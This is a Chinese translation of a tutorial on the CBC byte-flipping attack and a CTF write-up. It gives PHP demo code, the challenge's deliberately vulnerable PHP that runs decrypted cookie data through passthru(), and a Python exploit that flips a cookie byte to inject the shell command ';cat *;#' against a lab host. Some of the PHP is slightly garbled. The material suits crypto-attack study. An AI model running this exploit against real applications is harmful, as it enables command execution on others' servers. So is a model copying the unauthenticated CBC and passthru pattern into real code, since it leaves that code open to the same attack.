本文翻譯自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
drops里的相關主題文章:使用CBC比特反轉攻擊繞過加密的會話令牌
緣起是糖果出的一道題,看到原文作者對這一問題闡述的較為詳細,雖然時間有些久遠,但翻譯一下可與諸君學習一下思考問題的方法。
此攻擊方法的精髓在于:通過損壞密文字節來改變明文字節。(注:借助CBC內部的模式)借由此可以繞過過濾器,或者改變用戶權限提升至管理員,又或者改變應用程序預期明文以盡猥瑣之事。
首先讓我們看看CBC是如何工作的,(作者很懶所以)更多細節你可以看這里:wiki
在這里只是解釋一下關于攻擊必須要理解的部分。(即:一圖勝千言)
加密過程
Plaintext:待加密的數據。
IV:用于隨機化加密的比特塊,保證即使對相同明文多次加密,也可以得到不同的密文。
Key:被一些如AES的對稱加密算法使用。
Ciphertext:加密后的數據。
在這里重要的一點是,CBC工作于一個固定長度的比特組,將其稱之為塊。在本文中,我們將使用包含16字節的塊。
因為作者討厭高數(和譯者一樣),所以作者造了一些自己的公式(方便記憶):
注意:正如你所見,前一塊的密文用來產生后一塊的密文。
Decryption Process
注意:Ciphertext-N-1(密文-N-1)是用來產生下一塊明文;這就是字節翻轉攻擊開始發揮作用的地方。如果我們改變Ciphertext-N-1(密文-N-1)的一個字節,然后與下一個解密后的組塊異或,我們就可以得到一個不同的明文了!You got it?別擔心,下面我們將看到一個詳細的例子。與此同時,下面的這張圖也可以很好地說明這種攻擊:
比方說,我們有這樣的明文序列:
a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
我們的目標是將“s:6
”當中的數字6轉換成數字“7”。我們需要做的第一件事就是把明文分成16個字節的塊:
a:2:{s:4:"name";
s:6:"sdsdsd";s:8
:"greeting";s:20
:"echo 'Hello sd
sdsd!'";}
因此,我們的目標字符位于塊2,這意味著我們需要改變塊1的密文來改變第二塊的明文。
有一條經驗法則是(注:結合上面的說明圖可以得到),你在密文中改變的字節,只會影響到在下一明文當中,具有相同偏移量的字節。所以我們目標的偏移量是2:
因此我們要改變在第一個密文塊當中,偏移量是2的字節。正如你在下面的代碼當中看到的,在第2行我們得到了整個數據的密文,然后在第3行中,我們改變塊1中偏移量為2的字節,最后我們再調用解密函數。
$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
運行這段代碼后,我們可以將數字6變為7:
但是我們在第3行中,是如何改變字節成為我們想要的值呢?
基于上述的解密過程,我們知道有,A = Decrypt(Ciphertext)與B = Ciphertext-N-1異或后最終得到C = 6。等價于:
C = A XOR B
所以,我們唯一不知道的值就是A(注:對于B,C來說)(block cipher decryption);借由XOR,我們可以很輕易地得到A的值:
A = B XOR C
最后,A XOR B XOR C等于0。有了這個公式,我們可以在XOR運算的末尾處設置我們自己的值,就像這樣:
A XOR B XOR C XOR "7"
會在塊2的明文當中,偏移量為2的字節處得到7。
下面是相關原理實現的PHP源代碼:
#!php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}
define('MY_MAC_LEN', 40);
function encrypt($data) {
return aes($data, true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";
光說不練假把式,接下來作者舉了一個他參加過的CTF中的一道題目的例子(更多詳情可以參閱最后的相關參考鏈接),然后闡述了他是怎樣在最后幾步中打破CBC的。
下面提供了這個練習當中很重要的一部分源碼:
其中,你在POST提交參數"name"的任何文本值之后,應用程序則會對應輸出"Hello"加上最后提交的文本。但是有兩件事情發生在消息打印之前:
然后作者構造了一個POST"name"的值來注入字符串:
name = 'X' + ';cat *;#a'
首先作者添加了一個字符"X",通過CBC翻轉攻擊將其替換成一個單引號,然后;cat *;
命令將被執行,最后的#
是用來注釋,確保函數escapeshellarg()插入的單引號不會引起其他問題;因此我們的命令就被成功執行啦。
在計算好之前的密碼塊中,要被改變的字節的確切偏移量(51)后,作者通過下面的代碼來注入單引號:
pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
然后作者通過改變cookie(因為其具有全部的密文),得到以下結果:
首先,因為我們改變了第一塊,所以在第二塊中,黃色標記的"X"被成功替換為單引號,它被認為是多余插入(綠色),導致在unserialize()處理數據時產生一個錯誤(紅色),因此應用程序甚至都沒有去嘗試執行注入了。
如何完善
我們需要使我們的注入數據有效,那么我們在第一塊中得到的額外數據,就不能在反序列化的過程中造成任何問題(unserialize())。一種方法是在我們的惡意命令中填充字母字符。因此我們嘗試在注入字符串前后填充多個'z':
name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16
在發送上述字符串后,unserialize()并沒有報錯,并且我們的shell命令成功執行!!!
下面是上面練習當中的PHP源碼及exp:
PHP code:
#!php
ini_set('display_errors',1);
error_reporting(E_ALL);
define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
echo @decrypt(base64_decode($_COOKIE['settings']));
$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
$settings = array(
'name' => $_POST['name'],
'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
#setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
passthru($settings['greeting']);
else {
echo "</pre>
<form action="\"?\"" method="\"POST\"">\n";
echo "
What is your name?
\n";
echo "<input type="\"text\"" name="\"name\"" />\n";
echo "<input type="\"submit\"" name="\"submit\"" value="\"Submit\"" />\n";
echo "</form>
<pre>
\n";
}
?>
Exploit:
#!python
#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc
url = 'http://192.168.184.133/ebctf/mine.php'
def Test(x):
t = "echo 'Hello %s!'" % x
s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
for i in xrange(0,len(s),16):
print s[i:i+16]
print '\n'
def Pwn(s):
global url
s = urllib.quote_plus(enc(s))
req = requests.get(url, cookies = {'settings' : s}).content
# if req.find('works') != -1:
print req
# else:
# print '[-] FAIL'
def GetCookie(name):
global url
d = {
'name':name,
'submit':'Submit'
}
h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
if h.has_key('set-cookie'):
h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
#h = urllib.unquote_plus(h['set-cookie'][9:])
#print h
return h
else:
print '[-] ERROR'
sys.exit(0)
#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting"
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;}
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)